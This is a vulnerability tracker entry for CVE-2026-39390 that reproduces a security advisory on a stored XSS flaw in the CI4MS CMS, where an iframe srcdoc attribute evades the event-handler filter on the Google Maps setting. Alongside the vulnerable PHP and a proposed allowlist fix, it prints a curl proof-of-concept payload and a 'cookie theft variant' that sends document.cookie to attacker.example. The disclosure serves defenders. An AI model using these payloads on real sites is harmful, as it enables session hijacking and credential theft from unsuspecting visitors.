CVE-2026-39390
mediumpriority · track · 19EPSS 0.002 · 14 %ileEUUSEPSS · scored 2026-10-27
CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to 0.31.4.0, the Google Maps iframe setting (cMap field) in compInfosPost() sanitizes input using strip_tags() with an <iframe> allowlist and regex-based removal of on\w+ event handlers. However, the srcdoc attribute is not an event handler and passes all filters. An attacker with admin settings access can inject an <iframe srcdoc="..."> payload with HTML-entity-encoded JavaScript that executes in the context of the parent page when rendered to unauthenticated frontend visitors. This vulnerability is fixed in 0.31.4.0.
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- GHSA-x3hr-cp7x-44r2CI4MS has stored XSS via srcdoc attribute bypass in Google Maps iframe setting2026-04-08ghsa · osvUS
## Summary The Google Maps iframe setting (`cMap` field) in `compInfosPost()` sanitizes input using `strip_tags()` with an `<iframe>` allowlist and regex-based removal of `on\w+` event handlers. However, the `srcdoc` attribute is not an event handler and passes all filters. An attacker with admin settings access can inject an `<iframe srcdoc="...">` payload with HTML-entity-encoded JavaScript that executes in the context of the parent page when rendered to unauthenticated frontend visitors. ## Details **Input sanitization** (`modules/Settings/Controllers/Settings.php:49-53`): ```php $mapValue = trim(strip_tags($this->request->getPost('cMap'), '<iframe>')); $mapValue = preg_replace('/\bon\w+\s*=\s*"[^"]*"/i', '', $mapValue); $mapValue = preg_replace('/\bon\w+\s*=\s*\'[^\']*\'/i', '', $mapValue); $mapValue = preg_replace('/\bon\w+\s*=\s*[^\s>]+/i', '', $mapValue); setting()->set('Gmap.map_iframe', $mapValue); ``` The three regex patterns only match attributes beginning with `on` (e.g., `onclick`, `onerror`). The `srcdoc` attribute does not begin with `on` and passes through untouched. **Output rendering** (`app/Views/templates/default/gmapiframe.php:3`): ```php <?php echo strip_tags($settings->map_iframe,'<iframe>') ?> ``` The output applies `strip_tags` with the same `<iframe>` allowlist but performs no attribute filtering or HTML encoding. The stored payload is rendered verbatim. **Why HTML entities bypass `strip_tags`**: A payload like `<iframe srcdoc="<script>alert(1)</script>">` contains only one tag (`<iframe>`), which is in the allowlist. The entity-encoded content (`<script>`) is not recognized as a tag by `strip_tags`. However, when the browser renders the `srcdoc` attribute, it decodes the HTML entities and creates a new browsing context containing `<script>alert(1)</script>`. **Why this is same-origin**: Per the HTML specification, an `<iframe srcdoc="...">` without a `sandbox` attribute inherits the parent document's origin. The injected script has full access to the parent page's cookies, DOM, and session. ## PoC **Prerequisites**: Authenticated admin session with `update` role on the Settings module. **Step 1: Inject the payload** ```bash curl -X POST 'https://target/backend/settings/compInfos' \ -H 'Cookie: ci_session=ADMIN_SESSION_ID' \ -d 'cName=TestCo&cAddress=123+Main+St&cPhone=1234567890&cMail=admin@example.com&cMap=%3Ciframe+srcdoc%3D%22%26lt%3Bscript%26gt%3Balert(document.domain)%26lt%3B%2Fscript%26gt%3B%22%3E%3C%2Fiframe%3E' ``` The `cMap` value decodes to: ```html <iframe srcdoc="<script>alert(document.domain)</script>"></iframe> ``` **Step 2: Visit any public page that includes the Google Maps widget** Navigate to the frontend contact or footer page as an unauthenticated visitor. The browser renders the `srcdoc` iframe, decodes the entities, and executes the script in the parent page's origin. **Expected result**: JavaScript `alert(document.domain)` fires showing the target's domain, confirming same-origin execution. **Cookie theft variant**: ``` <iframe srcdoc="<script>document.location='https://attacker.example/steal?c='+document.cookie</script>"></iframe> ``` ## Impact - **Stored XSS affecting all frontend visitors**: The payload persists in the settings database and executes for every unauthenticated visitor viewing pages that include the Google Maps iframe widget. - **Session hijacking**: The script executes in the parent page's origin, giving access to session cookies (unless HttpOnly is set) and the full DOM. - **Credential theft**: An attacker can inject a fake login form or redirect users to a phishing page. - **Scope change**: The attack crosses from the admin backend trust boundary to the public frontend, affecting users who have no relationship with the backend. The attack requires a compromised or malicious admin account with settings update permission. While this is a privileged starting point (PR:H), the impact crosses to all unauthenticated visitors (S:C), justifying Medium severity. ## Recommended Fix Replace the regex-based attribute blocklist with a strict allowlist approach. Only allow `src`, `width`, `height`, `frameborder`, `style`, `allowfullscreen`, and `loading` attributes on iframe tags: ```php // In modules/Settings/Controllers/Settings.php, replace lines 49-52: $mapValue = trim(strip_tags($this->request->getPost('cMap'), '<iframe>')); // Strip all attributes except safe ones for iframes $mapValue = preg_replace_callback( '/<iframe\s+([^>]*)>/i', function ($matches) { $allowedAttrs = ['src', 'width', 'height', 'frameborder', 'style', 'allowfullscreen', 'loading', 'title']; preg_match_all('/(\w+)\s*=\s*(?:"([^"]*)"|\'([^\']*)\'|(\S+))/i', $matches[1], $attrs, PREG_SET_ORDER); $safe = ''; foreach ($attrs as $attr) { $name = strtolower($attr[1]); $value = $attr[2] ?: $attr[3] ?: $attr[4]; if (in_array($name, $allowedAttrs, true)) { // For src, only allow https URLs (block javascript: etc.) if ($name === 'src' && !preg_match('#^https://#i', $value)) { continue; } $safe .= ' ' . $name . '="' . esc($value) . '"'; } } return '<iframe' . $safe . '>'; }, $mapValue ); ``` This allowlist approach ensures that dangerous attributes like `srcdoc`, `src` with `javascript:` protocol, and any future dangerous attributes are blocked by default.
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- https://github.com/ci4-cms-erp/ci4ms/releasesPatchcnnvd
- https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-x3hr-cp7x-44r2cnnvd
- https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-x3hr-cp7x-44r2enisa_euvd
- https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-x3hr-cp7x-44r2Vendor Advisorynvd
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